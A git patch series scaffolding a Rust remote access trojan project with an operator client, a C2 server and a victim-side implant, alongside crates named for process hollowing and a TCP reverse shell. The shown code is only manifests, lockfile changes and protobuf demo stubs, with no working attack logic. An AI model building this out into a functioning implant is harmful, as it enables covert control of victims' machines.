From c390fb92f2a218e4724f5a5a767a95a17cd1752e Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 15 Feb 2022 20:40:21 -0800 Subject: [PATCH 01/33] project layout for a rat consisting of three components. operator uses client to interact with c2. c2 interacts with implant on victim machine --- Cargo.lock | 16 ++++++++++------ Cargo.toml | 3 +++ remote_access_trojan/rat_c2/Cargo.toml | 8 ++++++++ remote_access_trojan/rat_c2/src/main.rs | 3 +++ remote_access_trojan/rat_client/Cargo.toml | 8 ++++++++ remote_access_trojan/rat_client/src/main.rs | 3 +++ remote_access_trojan/rat_implant/Cargo.toml | 8 ++++++++ remote_access_trojan/rat_implant/src/main.rs | 3 +++ 8 files changed, 46 insertions(+), 6 deletions(-) create mode 100644 remote_access_trojan/rat_c2/Cargo.toml create mode 100644 remote_access_trojan/rat_c2/src/main.rs create mode 100644 remote_access_trojan/rat_client/Cargo.toml create mode 100644 remote_access_trojan/rat_client/src/main.rs create mode 100644 remote_access_trojan/rat_implant/Cargo.toml create mode 100644 remote_access_trojan/rat_implant/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index a8979f7..f6767b9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4,9 +4,9 @@ version = 3 [[package]] name = "autocfg" -version = "1.0.1" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "bitflags" @@ -28,9 +28,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "libc" -version = "0.2.117" +version = "0.2.118" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c" +checksum = "06e509672465a0504304aa87f9f176f2b2b716ed8fb105ebe5c02dc6dce96a94" [[package]] name = "memoffset" @@ -56,7 +56,7 @@ dependencies = [ [[package]] name = "process_hollowing" -version = "1.4.1" +version = "1.4.2" dependencies = [ "nix", "rco_config", @@ -66,7 +66,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.6.1" +version = "1.6.2" dependencies = [ "nix", "rco_config", @@ -74,6 +74,10 @@ dependencies = [ "windows", ] +[[package]] +name = "rat_client" +version = "0.1.0" + [[package]] name = "rco_config" version = "0.2.0" diff --git a/Cargo.toml b/Cargo.toml index a7a2be2..b86102d 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -7,4 +7,7 @@ members = [ "process_migration", "process_hollowing", "xor_params", + "remote_access_trojan/rat_client" + "remote_access_trojan/rat_client" + "remote_access_trojan/rat_client", ] diff --git a/remote_access_trojan/rat_c2/Cargo.toml b/remote_access_trojan/rat_c2/Cargo.toml new file mode 100644 index 0000000..ff78065 --- /dev/null +++ b/remote_access_trojan/rat_c2/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "rat_c2" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/remote_access_trojan/rat_c2/src/main.rs b/remote_access_trojan/rat_c2/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/remote_access_trojan/rat_c2/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} diff --git a/remote_access_trojan/rat_client/Cargo.toml b/remote_access_trojan/rat_client/Cargo.toml new file mode 100644 index 0000000..7527243 --- /dev/null +++ b/remote_access_trojan/rat_client/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "rat_client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/remote_access_trojan/rat_client/src/main.rs b/remote_access_trojan/rat_client/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/remote_access_trojan/rat_client/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} diff --git a/remote_access_trojan/rat_implant/Cargo.toml b/remote_access_trojan/rat_implant/Cargo.toml new file mode 100644 index 0000000..abffe55 --- /dev/null +++ b/remote_access_trojan/rat_implant/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "rat_implant" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/remote_access_trojan/rat_implant/src/main.rs b/remote_access_trojan/rat_implant/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/remote_access_trojan/rat_implant/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} From 9f2750dee8fe8951947cc5975695c4216d1e2d42 Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 15 Feb 2022 22:42:54 -0800 Subject: [PATCH 02/33] just getting protobufs up and running ish --- remote_access_trojan/rat.proto | 8 ++++++++ remote_access_trojan/rat_c2/Cargo.toml | 6 ++++++ remote_access_trojan/rat_c2/build.rs | 5 +++++ remote_access_trojan/rat_c2/src/main.rs | 17 +++++++++++++++-- remote_access_trojan/rat_client/Cargo.toml | 3 +++ remote_access_trojan/rat_implant/Cargo.toml | 3 +++ 6 files changed, 40 insertions(+), 2 deletions(-) create mode 100644 remote_access_trojan/rat.proto create mode 100644 remote_access_trojan/rat_c2/build.rs diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto new file mode 100644 index 0000000..850ff7f --- /dev/null +++ b/remote_access_trojan/rat.proto @@ -0,0 +1,8 @@ +syntax = "proto3"; + +package rat.items; + +message Test { + string words = 1; + string thoughts = 2; +} \ No newline at end of file diff --git a/remote_access_trojan/rat_c2/Cargo.toml b/remote_access_trojan/rat_c2/Cargo.toml index ff78065..0f1b225 100644 --- a/remote_access_trojan/rat_c2/Cargo.toml +++ b/remote_access_trojan/rat_c2/Cargo.toml @@ -2,7 +2,13 @@ name = "rat_c2" version = "0.1.0" edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.58" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +prost = ">=0.9" + +[build-dependencies] +prost-build = ">=0.9" \ No newline at end of file diff --git a/remote_access_trojan/rat_c2/build.rs b/remote_access_trojan/rat_c2/build.rs new file mode 100644 index 0000000..1b054b9 --- /dev/null +++ b/remote_access_trojan/rat_c2/build.rs @@ -0,0 +1,5 @@ +extern crate prost_build; + +fn main() { + prost_build::compile_protos(&["rat.proto"], &["src/../../"]).unwrap(); +} \ No newline at end of file diff --git a/remote_access_trojan/rat_c2/src/main.rs b/remote_access_trojan/rat_c2/src/main.rs index e7a11a9..fb2f7b0 100644 --- a/remote_access_trojan/rat_c2/src/main.rs +++ b/remote_access_trojan/rat_c2/src/main.rs @@ -1,3 +1,16 @@ -fn main() { - println!("Hello, world!"); +use prost::Message; + +pub mod rat { + include!(concat!(env!("OUT_DIR"), "/rat.items.rs")); +} + +fn main() { + let mut test = rat::Test::default(); + test.words = "word string".to_string(); + test.thoughts = "thought string".to_string(); + let mut buf = Vec::new(); + buf.reserve(test.encoded_len()); + test.encode(&mut buf).unwrap(); + println!("{test:?}"); + println!("{buf:?}"); } diff --git a/remote_access_trojan/rat_client/Cargo.toml b/remote_access_trojan/rat_client/Cargo.toml index 7527243..91f6b5a 100644 --- a/remote_access_trojan/rat_client/Cargo.toml +++ b/remote_access_trojan/rat_client/Cargo.toml @@ -2,7 +2,10 @@ name = "rat_client" version = "0.1.0" edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.58" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +prost = ">=0.9" \ No newline at end of file diff --git a/remote_access_trojan/rat_implant/Cargo.toml b/remote_access_trojan/rat_implant/Cargo.toml index abffe55..2b1a723 100644 --- a/remote_access_trojan/rat_implant/Cargo.toml +++ b/remote_access_trojan/rat_implant/Cargo.toml @@ -2,7 +2,10 @@ name = "rat_implant" version = "0.1.0" edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.58" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +prost = ">=0.9" \ No newline at end of file From 5dd55927015e1ee65023a98a874c2ac63a944ce2 Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 16 Feb 2022 21:03:08 -0800 Subject: [PATCH 03/33] this is much cleaner IMO --- Cargo.lock | 306 ++++++++++++++++++- Cargo.toml | 4 +- remote_access_trojan/{rat_c2 => }/Cargo.toml | 16 +- remote_access_trojan/build.rs | 5 + remote_access_trojan/rat_c2/build.rs | 5 - remote_access_trojan/rat_c2/src/main.rs | 16 - remote_access_trojan/rat_client/Cargo.toml | 11 - remote_access_trojan/rat_client/src/main.rs | 3 - remote_access_trojan/rat_implant/Cargo.toml | 11 - remote_access_trojan/rat_implant/src/main.rs | 3 - remote_access_trojan/src/client.rs | 3 + remote_access_trojan/src/implant.rs | 17 ++ remote_access_trojan/src/server.rs | 3 + 13 files changed, 347 insertions(+), 56 deletions(-) rename remote_access_trojan/{rat_c2 => }/Cargo.toml (57%) create mode 100644 remote_access_trojan/build.rs delete mode 100644 remote_access_trojan/rat_c2/build.rs delete mode 100644 remote_access_trojan/rat_c2/src/main.rs delete mode 100644 remote_access_trojan/rat_client/Cargo.toml delete mode 100644 remote_access_trojan/rat_client/src/main.rs delete mode 100644 remote_access_trojan/rat_implant/Cargo.toml delete mode 100644 remote_access_trojan/rat_implant/src/main.rs create mode 100644 remote_access_trojan/src/client.rs create mode 100644 remote_access_trojan/src/implant.rs create mode 100644 remote_access_trojan/src/server.rs diff --git a/Cargo.lock b/Cargo.lock index f6767b9..0876616 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,21 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "aho-corasick" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" +dependencies = [ + "memchr", +] + +[[package]] +name = "anyhow" +version = "1.0.53" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94a45b455c14666b85fc40a019e8ab9eb75e3a124e05494f5397122bc9eb06e0" + [[package]] name = "autocfg" version = "1.1.0" @@ -14,6 +29,12 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" +[[package]] +name = "bytes" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" + [[package]] name = "cc" version = "1.0.72" @@ -26,12 +47,97 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "either" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" + +[[package]] +name = "fastrand" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf" +dependencies = [ + "instant", +] + +[[package]] +name = "fixedbitset" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "279fb028e20b3c4c320317955b77c5e0c9701f05a1d309905d6fc702cdc5053e" + +[[package]] +name = "hashbrown" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "indexmap" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "itertools" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3" +dependencies = [ + "either", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + [[package]] name = "libc" version = "0.2.118" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06e509672465a0504304aa87f9f176f2b2b716ed8fb105ebe5c02dc6dce96a94" +[[package]] +name = "log" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "memchr" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" + [[package]] name = "memoffset" version = "0.6.5" @@ -41,6 +147,12 @@ dependencies = [ "autocfg", ] +[[package]] +name = "multimap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" + [[package]] name = "nix" version = "0.23.1" @@ -54,6 +166,25 @@ dependencies = [ "memoffset", ] +[[package]] +name = "petgraph" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a13a2fa9d0b63e5f22328828741e523766fff0ee9e779316902290dff3f824f" +dependencies = [ + "fixedbitset", + "indexmap", +] + +[[package]] +name = "proc-macro2" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" +dependencies = [ + "unicode-xid", +] + [[package]] name = "process_hollowing" version = "1.4.2" @@ -75,8 +206,66 @@ dependencies = [ ] [[package]] -name = "rat_client" -version = "0.1.0" +name = "prost" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "444879275cb4fd84958b1a1d5420d15e6fcf7c235fe47f053c9c2a80aceb6001" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62941722fb675d463659e49c4f3fe1fe792ff24fe5bbaa9c08cd3b98a1c354f5" +dependencies = [ + "bytes", + "heck", + "itertools", + "lazy_static", + "log", + "multimap", + "petgraph", + "prost", + "prost-types", + "regex", + "tempfile", + "which", +] + +[[package]] +name = "prost-derive" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9cc1a3263e07e0bf68e96268f37665207b49560d98739662cdfaae215c720fe" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "prost-types" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "534b7a0e836e3c482d2693070f982e39e7611da9695d4d1f5a4b186b51faef0a" +dependencies = [ + "bytes", + "prost", +] + +[[package]] +name = "quote" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" +dependencies = [ + "proc-macro2", +] [[package]] name = "rco_config" @@ -89,6 +278,60 @@ dependencies = [ "windows", ] +[[package]] +name = "redox_syscall" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" +dependencies = [ + "bitflags", +] + +[[package]] +name = "regex" +version = "1.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.6.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b" + +[[package]] +name = "remote_access_trojan" +version = "0.1.0" +dependencies = [ + "prost", + "prost-build", +] + +[[package]] +name = "remove_dir_all" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" +dependencies = [ + "winapi", +] + +[[package]] +name = "syn" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + [[package]] name = "tcp_reverse_shell" version = "1.1.3" @@ -97,6 +340,65 @@ dependencies = [ "windows", ] +[[package]] +name = "tempfile" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" +dependencies = [ + "cfg-if", + "fastrand", + "libc", + "redox_syscall", + "remove_dir_all", + "winapi", +] + +[[package]] +name = "unicode-segmentation" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" + +[[package]] +name = "unicode-xid" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" + +[[package]] +name = "which" +version = "4.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a5a7e487e921cf220206864a94a89b6c6905bfc19f1057fa26a4cb360e5c1d2" +dependencies = [ + "either", + "lazy_static", + "libc", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + [[package]] name = "windows" version = "0.32.0" diff --git a/Cargo.toml b/Cargo.toml index b86102d..6e60a88 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -7,7 +7,5 @@ members = [ "process_migration", "process_hollowing", "xor_params", - "remote_access_trojan/rat_client" - "remote_access_trojan/rat_client" - "remote_access_trojan/rat_client", + "remote_access_trojan", ] diff --git a/remote_access_trojan/rat_c2/Cargo.toml b/remote_access_trojan/Cargo.toml similarity index 57% rename from remote_access_trojan/rat_c2/Cargo.toml rename to remote_access_trojan/Cargo.toml index 0f1b225..52378b8 100644 --- a/remote_access_trojan/rat_c2/Cargo.toml +++ b/remote_access_trojan/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "rat_c2" +name = "remote_access_trojan" version = "0.1.0" edition = "2021" authors = ["Kevin Conley "] @@ -11,4 +11,16 @@ rust-version = "1.58" prost = ">=0.9" [build-dependencies] -prost-build = ">=0.9" \ No newline at end of file +prost-build = ">=0.9" + +[[bin]] +name = "client" +path = "src/client.rs" + +[[bin]] +name = "implant" +path = "src/implant.rs" + +[[bin]] +name = "server" +path = "src/server.rs" \ No newline at end of file diff --git a/remote_access_trojan/build.rs b/remote_access_trojan/build.rs new file mode 100644 index 0000000..97f6020 --- /dev/null +++ b/remote_access_trojan/build.rs @@ -0,0 +1,5 @@ +extern crate prost_build; + +fn main() { + prost_build::compile_protos(&["rat.proto"], &["src/../"]).unwrap(); +} \ No newline at end of file diff --git a/remote_access_trojan/rat_c2/build.rs b/remote_access_trojan/rat_c2/build.rs deleted file mode 100644 index 1b054b9..0000000 --- a/remote_access_trojan/rat_c2/build.rs +++ /dev/null @@ -1,5 +0,0 @@ -extern crate prost_build; - -fn main() { - prost_build::compile_protos(&["rat.proto"], &["src/../../"]).unwrap(); -} \ No newline at end of file diff --git a/remote_access_trojan/rat_c2/src/main.rs b/remote_access_trojan/rat_c2/src/main.rs deleted file mode 100644 index fb2f7b0..0000000 --- a/remote_access_trojan/rat_c2/src/main.rs +++ /dev/null @@ -1,16 +0,0 @@ -use prost::Message; - -pub mod rat { - include!(concat!(env!("OUT_DIR"), "/rat.items.rs")); -} - -fn main() { - let mut test = rat::Test::default(); - test.words = "word string".to_string(); - test.thoughts = "thought string".to_string(); - let mut buf = Vec::new(); - buf.reserve(test.encoded_len()); - test.encode(&mut buf).unwrap(); - println!("{test:?}"); - println!("{buf:?}"); -} diff --git a/remote_access_trojan/rat_client/Cargo.toml b/remote_access_trojan/rat_client/Cargo.toml deleted file mode 100644 index 91f6b5a..0000000 --- a/remote_access_trojan/rat_client/Cargo.toml +++ /dev/null @@ -1,11 +0,0 @@ -[package] -name = "rat_client" -version = "0.1.0" -edition = "2021" -authors = ["Kevin Conley "] -rust-version = "1.58" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] -prost = ">=0.9" \ No newline at end of file diff --git a/remote_access_trojan/rat_client/src/main.rs b/remote_access_trojan/rat_client/src/main.rs deleted file mode 100644 index e7a11a9..0000000 --- a/remote_access_trojan/rat_client/src/main.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("Hello, world!"); -} diff --git a/remote_access_trojan/rat_implant/Cargo.toml b/remote_access_trojan/rat_implant/Cargo.toml deleted file mode 100644 index 2b1a723..0000000 --- a/remote_access_trojan/rat_implant/Cargo.toml +++ /dev/null @@ -1,11 +0,0 @@ -[package] -name = "rat_implant" -version = "0.1.0" -edition = "2021" -authors = ["Kevin Conley "] -rust-version = "1.58" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] -prost = ">=0.9" \ No newline at end of file diff --git a/remote_access_trojan/rat_implant/src/main.rs b/remote_access_trojan/rat_implant/src/main.rs deleted file mode 100644 index e7a11a9..0000000 --- a/remote_access_trojan/rat_implant/src/main.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("Hello, world!"); -} diff --git a/remote_access_trojan/src/client.rs b/remote_access_trojan/src/client.rs new file mode 100644 index 0000000..9fe08a8 --- /dev/null +++ b/remote_access_trojan/src/client.rs @@ -0,0 +1,3 @@ +fn main() { + println!("client"); +} \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs new file mode 100644 index 0000000..3cd9db5 --- /dev/null +++ b/remote_access_trojan/src/implant.rs @@ -0,0 +1,17 @@ +use prost::Message; + +pub mod rat { + include!(concat!(env!("OUT_DIR"), "/rat.items.rs")); +} + +fn main() { + println!("implant"); + let mut example = rat::Test::default(); + example.words = "implant words".to_string(); + example.thoughts = "implant thoughts".to_string(); + let mut buf = Vec::new(); + buf.reserve(example.encoded_len()); + example.encode(&mut buf).unwrap(); + println!("{example:?}"); + println!("{buf:?}"); +} \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs new file mode 100644 index 0000000..fde85e3 --- /dev/null +++ b/remote_access_trojan/src/server.rs @@ -0,0 +1,3 @@ +fn main() { + println!("server"); +} \ No newline at end of file From 1d3237ad984814ad394a26c9e44ac060c9cf2067 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 18 Feb 2022 23:05:23 -0800 Subject: [PATCH 04/33] working client <--> server communication with tonic --- Cargo.lock | 550 +++++++++++++++++++++++++++- remote_access_trojan/Cargo.toml | 4 +- remote_access_trojan/build.rs | 9 +- remote_access_trojan/rat.proto | 13 +- remote_access_trojan/src/implant.rs | 38 +- remote_access_trojan/src/lib.rs | 3 + remote_access_trojan/src/server.rs | 43 ++- 7 files changed, 639 insertions(+), 21 deletions(-) create mode 100644 remote_access_trojan/src/lib.rs diff --git a/Cargo.lock b/Cargo.lock index 0876616..3d80a5c 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -17,12 +17,50 @@ version = "1.0.53" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94a45b455c14666b85fc40a019e8ab9eb75e3a124e05494f5397122bc9eb06e0" +[[package]] +name = "async-stream" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "171374e7e3b2504e0e5236e3b59260560f9fe94bfe9ac39ba5e4e929c5590625" +dependencies = [ + "async-stream-impl", + "futures-core", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "648ed8c8d2ce5409ccd57453d9d1b214b342a0d69376a6feda1fd6cae3299308" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "async-trait" +version = "0.1.52" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "061a7acccaa286c011ddc30970520b98fa40e00c9d644633fb26b5fc63a265e3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + [[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "base64" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" + [[package]] name = "bitflags" version = "1.3.2" @@ -68,6 +106,81 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "279fb028e20b3c4c320317955b77c5e0c9701f05a1d309905d6fc702cdc5053e" +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "futures-channel" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3" + +[[package]] +name = "futures-sink" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868" + +[[package]] +name = "futures-task" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a" + +[[package]] +name = "futures-util" +version = "0.3.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "pin-utils", +] + +[[package]] +name = "getrandom" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "418d37c8b1d42553c93648be529cb70f920d3baf8ef469b74b9638df426e0b4c" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "h2" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9f1f717ddc7b2ba36df7e871fd88db79326551d3d6f1fc406fbfd28b582ff8e" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util 0.6.9", + "tracing", +] + [[package]] name = "hashbrown" version = "0.11.2" @@ -83,6 +196,85 @@ dependencies = [ "unicode-segmentation", ] +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "http" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31f4c6746584866f0feabcc69893c5b51beef3831656a968ed7ae254cdc4fd03" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ff4f84919677303da5f147645dbea6b1881f368d03ac84e1dc09031ebd7b2c6" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9100414882e15fb7feccb4897e5f0ff0ff1ca7d1a86a23208ada4d7a18e6c6c4" + +[[package]] +name = "httpdate" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 